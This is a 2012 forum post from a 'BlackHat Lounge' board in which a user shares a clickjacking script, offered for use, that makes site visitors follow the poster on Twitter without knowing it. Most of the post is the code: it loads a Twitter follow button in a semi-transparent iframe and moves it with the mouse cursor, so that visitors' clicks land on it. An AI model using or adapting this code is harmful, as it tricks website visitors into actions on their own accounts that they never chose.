1. This site uses cookies. By continuing to use this site, you are agreeing to our use of cookies. Learn More.

Get script twitter clickjacking

Discussion in 'BlackHat Lounge' started by mrsharz, Oct 25, 2012.

  1. mrsharz

    mrsharz BANNED BANNED

    Joined:
    Sep 27, 2012
    Messages:
    212
    Likes Received:
    95
    hello guys i have an amazing script i would like to share This script will make whoever visits your site automatically follow you on twitter, without them knowing.
    All you have to do is change "your_username" (end of second line) to your username.

    Code:
    [LEFT][COLOR=#000000]<iframe class="twitter-follow-button" allowtransparency="true" frameborder="0" scrolling="no"
      src="http://platform.twitter.com/widgets/follow_button.html?screen_name=your_username"
      style="width:75px; height:20px;">
    </iframe>
    
    <script>
    if (!document.getElementsByClassName){
        document.getElementsByClassName = function(classname){
            for (i=0; i<document.getElementsByTagName("*").length; i++)
            {  
                if (document.getElementsByTagName("*").item(i).className == classname){
                    return new Array(document.getElementsByTagName("*").item(i));
                }
            }
        }
    }
    
    var twitterFollowIframe = document.getElementsByClassName('twitter-follow-button')[0];
    twitterFollowIframe.style.position = 'absolute';
    twitterFollowIframe.style.opacity = '0.2';
    twitterFollowIframe.style.filter = 'alpha(opacity=20)';
    //twitterFollowIframe.style.width = '110px';
    
    /*
    // cross domain restriction won't allow this
    twitterFollowIframe.onload = function() {
        twitterFollowIframe.contentWindow.scrollTo(20, 0);
    }
    */
    
    document.onmousemove = function(e){
        if ( !e ) e = window.event;
        twitterFollowIframe.style.left = e.clientX - 20;
        twitterFollowIframe.style.top = e.clientY - 10;
    }
    </script>
    [/COLOR][/LEFT]
    



     
    Last edited by a moderator: Oct 25, 2012